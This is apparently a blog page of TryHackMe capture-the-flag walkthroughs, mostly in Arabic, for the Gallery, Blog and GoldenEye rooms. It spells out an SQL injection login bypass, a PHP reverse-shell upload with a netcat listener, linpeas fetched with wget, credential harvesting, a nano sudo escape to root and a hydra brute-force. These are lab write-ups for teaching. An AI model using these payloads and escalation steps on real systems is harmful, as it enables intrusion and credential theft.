كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap
sudo nmap IP -vv
طلع معانا بورت 80 و 8080، نرجع نسوي Aggressive سكان على نفس هذه البورتات
sudo nmap IP -vv -A -p 80,8080
البورت 80 و 8080 كلها عليها Apache server
نروح للمتصفح ونزور البورتات، بورت 8080 تعطينا صفحة تسجيل دخول، أما بورت 80 عندنا الصفحة الرئيسية لأباتشي سيرفير.
نرجع لصفحة تسجيل الدخول، ونشوف لو يضبط معاها SQL injection، واللي هو إننا ندخل في خانة اسم المستخدم
' or '1'='1' -- -
ثم نحط أي كلمة سر، بعد كذا نسوي sign in، وبيضبط معانا، معناته إن هذه الصفحة vulnerable to SQLi.
أول ما ندخل بيطلع معانا الصفحة الرئيسية وبداخلها ألبومات وصور. وبرضو في أعلى الصفحة باليسار بنلاحظ مكتوب Simple Image Gallery وهذا نوع من الـCMS، واللي هي Content Management Systems وهي أنظمة تساعد المستخدمين يسوون، ويديرون، ويعدلون على مواقع إنترنت، بدون ما يكون عندهم معرفة كبيرة بالبرمجة، أو حتى ما يكون عندهم معرفة إطلاقًا، مثال عليها WordPress.
في الشريط الأزرق الغامق أعلى الصفحة في الموقع نضغط على Albums، ثم لما يفتح معانا صفحة الألبومات نضغط على Add New ونسميه أي اسم مثلا test، ثم قبل ما نكمل نرجع لجهازنا ونجهز الـshell، أنا استخدمت الـpentestmonkey php shell أخذتها من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد، المهم تأكدو إن العنوان هو عنوان الـVPN لجهازكم، والبورت نفس ما تبغون. ننسخ الشيل ونرجع للجهاز نسوي ملف اسمه shell.php ونلصق فيه الكود.
ثم نجهز الـ listener
nc -nlvp 4444
الحين نرجع للموقع ونروح للألبوم الجديد ونضغط عليه، ثم نضغط على upload، وعشان تنعرض كل الملفات، تحت في مستعرض الملفات بدل ما يكون Image Files نختار All Files
ثم نختار الشيل، بعد ما نرفعها نضغط عليها، هي بتكون معروضه في الموقع كصورة، فنفتحها وعلطول بيوصل لنا اتصال على جهازنا.
وبما إن الـvictim جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.
الخطوات كالتالي:
نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
بعدين هذه الكوماند
export TERM=xterm
ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية
الحين نجيبها لقدام باستخدام هذه الكوماند
stty raw -echo;fg
الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.
دخلنا على النظام كـwww-data، فنروح للـhome directory له وهو var/www/ وعرفنا هذا من خلال استعراضنا للملف etc/passwd/
cd /var/www
ثم نروح لـhtml، لأن بالعادة يكون هنا معلومات مفيدة
cd html
ls
عندنا مجلد gallery
cd gallery
ls
وبداخله مجموعة كبيرة من الملفات، وفيه ملفات مُلفتة موجودة مثل config.php، وبرضو مجلد database، وأيضا ملف initialize.php.
نبدأ أول شيء بملف config.php ونستعرضه cat config.php، لكن ما لقينا فيه معلومة مهمة. نرجع لـdatabase
cd database
ls -a
لكن برضو ما بداخله شيء، نرجع للمجلد الرئيسي
cd ..
ثم نستعرض initialize
cat initialize.php
بداخل هذا الملف لقينا المعلومات اللي نحتاجها عشان نسجل دخول على قاعدة البيانات الموجودة على النظام، كلمة السر، اسم المستخدم، اسم قاعدة البيانات، فالحين نقدر ندخل على قاعدة البيانات، لكن قبل كذا بنعدل الصفوف والأعمدة للتيرمينال عشان ما تحوس علينا مع طول الكوماند
أول شيء نفتح نافذة جديدة ونخلي مقاس الخط مثل اللي احنا شغالين عليها، ثم نشغل الكوماند
stty -a
ونشوف كم قيمة الصفوف والأعمدة
ونروح نسجل نفس القيمة على جهاز الضحية باستخدام هذه الكوماند
stty rows 31; stty cols 134
الحين نسجل دخول لقاعدة البيانات باستخدام هذه الكوماند
mysql --user=gallery_user --password=***** gallery_db
ثم لما ندخل بيتغير عندي الـprompt إلى MariaDB gallery_db
أول شيء نشوف وش عندي جداول
show tables;
طلع معاي عدد من الجداول، اللي ممكن نلقى فيه معلومات مفيدة هو Users
select * form users;
طلع معاي فقط entry واحد لمستخدم اسمه Administrator، وكلمة السر موجودة ولكنها مشفرة
عشان نخرج من قاعدة البيانات
exit;
ثم نروح لـhome ونشوف وش عندي مستخدمين
cd /home
ls
عندي مستخدمين وهم mike و ubuntu
cd mike
ls -l
بنلقى بداخله user.txt ولكن للأسف ما نقدر نقرأه، اللي يقدر يقرأه هو mike، اللي بنسويه الحين إننا بنحاول نبحث عن طريقة تخلينا نستطيع نسجل دخول كـmike، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية نروح على المجلد اللي في جهازنا يحتوي على linpeas.sh ونشغل بايثون سيرفير
python3 -m http.server
وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك
طيب ليه اخترت الـtmp ؟؟
أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر.
ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ.
wget http://OpenVPN-IP:8000/linpeas.sh
ثم نغير صلاحياته لملف تشغيلي
chmod +x linpeas.sh
ثم نشغله
./linpeas.sh
في النتائج بنلاحظ عند الـhistory فيه كلمة دخلها المستخدم بعد ما استخدم الكوماند sudo -l، وهذه الكوماند تطلب كلمة السر عند استخدامها.
فبننسخ كلمة السر، ونشوف إذا تضبط معانا لو استخدمناها وسجلنا دخول كـmike
su mike
ثم ندخل كلمة السر، وبكذا بنصير mike، نرجع لـ home
cd /home/mike
cat user.txt
وبكذا يكون حصلنا على أول فلاق ✨.
باقي لنا الحين الـroot.txt، وعشان نقرأه نحتاج يكون عندنا صلاحيات، فبنشوف وش الكوماندز اللي يقدر mike ينفذها بصلاحيات رووت باستخدام sudo -l
طلع إنو المستخدم mike يقدر يشغل السكريبت rootkit.sh بصلاحيات رووت بدون كلمة سر. بنستعرض السكريبت ونشوف وش يسوي
cat /opt/rootkit.sh
هذا السكريبت يسوي 4 أشياء، يا يعطيني رقم النسخة لـrkhunter، أو يسوي له تحديث، أو يعرض لي قائمة، أما آخر خيار فبيعرض لي ملف report.txt باستخدام nano، يعني باختصار بيكون عندي القدرة إني افتح nano بصلاحيات root عن طريق إني إذا شغلت السكريبت أدخل read.
الحين نحتاج نبحث عن طريقة نستغل بها nano ونحصل على root shell، وفيه موقع ممتاز اسمه GTFObins، نروح له ونبحث nano. ثم تحت sudo بنشوف شارح لنا الطريقة، ننفذ 3 كوماندز، أول وحده ما بنستخدمها، لأننا ما بنشغل nano مباشرة باستخدام sudo، بل بنشغلها من داخل سكريبت مشغلينه بصلاحيات root، إذن فقط بنستخدم الكوماند 2 و3 .
نرجع للتارقيت ونشغل السكريبت
sudo /bin/bash /opt/rootkit.sh
ثم لما يسألني اختار read
أول ما يفتح نافذة nano على الكيبورد نضغط ctrl + r ثم ctrl +x ثم reset; sh 1>&0 2>&0 ثم نضغط enter، وعلطول بيعطينا root shell، نضغط enter برضو أكثر من مرة، حتى تترتب معانا الشاشة، ثم نسوي spawn لـbash
/bin/bash -i
عشان يصير أوضح المسارات والتعامل مع الـshell برضو يكون أسهل.
بسم الله اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط: رابط التحدي: https://tryhackme.com/r/room/blog ==================================================== كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap sudo nmap IP -vv طلع معانا 4 بورتات، نرجع نسوي Aggressive سكان عليها sudo nmap IP -vv -A -p 22,80,139,445 على بورت 22 عندنا SSH ونظام التشغيل لجهاز الضحية هو Ubuntu، وعلى بورت 80 عندنا Apache server، أما بورت 139 و 445 متعلقة بالـsmb. برضو أعطانا في النتائج إن الـhttp generator هو WordPress وبرضو أعطانا رقم النسخة وهو 5.0، وهذه معلومة مفيدة ومهمة. إذا زرنا الصفحة على بورت 80 في المتصفح، بنلاقي بلوق للمستخدم Billy وفيها بوستات، ولكن ما بداخل هذه البوستات شيء مهم. و زي ما قال لنا في التحدي، بنضيف الموقع إلى ملف etc/hosts/ على الجهاز الحين بنستفيد من الـsmb على جهاز الض...
Golden Eye Room Link: https://tryhackme.com/r/room/goldeneye ===================================================== sudo nmap -p- -vv IP . You have 4 ports open 25,80,55006,55007. When you visit the website and look into the source code you will find a script terminal.js . If you take a look at the script you will find interesting notes. We found a user boris and its encoded password. It is encoded with HTML escape and the decoded password is ********. Now use these credentials to login to /sev-home folder. The service on port 25 is smtp, and on 55006, 55007 is pop3. Some useful pop3 commands to know are: USER > To provide a username PASS > To provide a password LIST > To list the emails for a user RETR > To view the contents of an email Now with nc try to connect to port 55007 with the credentials you have it won’t work. So you will use hydra to get the password hydra -l boris -P /usr/share/wordlists/fasttrack.txt pop3://IP:55007 . And you will get the...
Gallery Room Link: https://tryhackme.com/r/room/gallery666 ================================================================ After the Nmap scan, you will see 2 ports open 80 and 8080. 8080 doesn’t have anything interesting. In 80 the main page has the home page for nginx server. Use gobuster to find any hidden directories. There is /gallery . In /gallery you have a login page. Try to see if sqli works on it. Enter " ‘ or ‘1’ = ‘1’ -- - " in the username field and see if it allows you to get in, and it did :). Once you are in you can answer the second question which is the CMS, the website uses Simple Image Gallery. Although there is a known vulnerability for this, you don’t need it. Go to albums from the top horizontal menu. Then, click on any of the albums and upload a .php webshell, I used the one from pentestmonkey. Do not forget to change the IP into your IP and set up a netcat listener with the same port number as in the shell. Once you have your webshel...
Comments
Post a Comment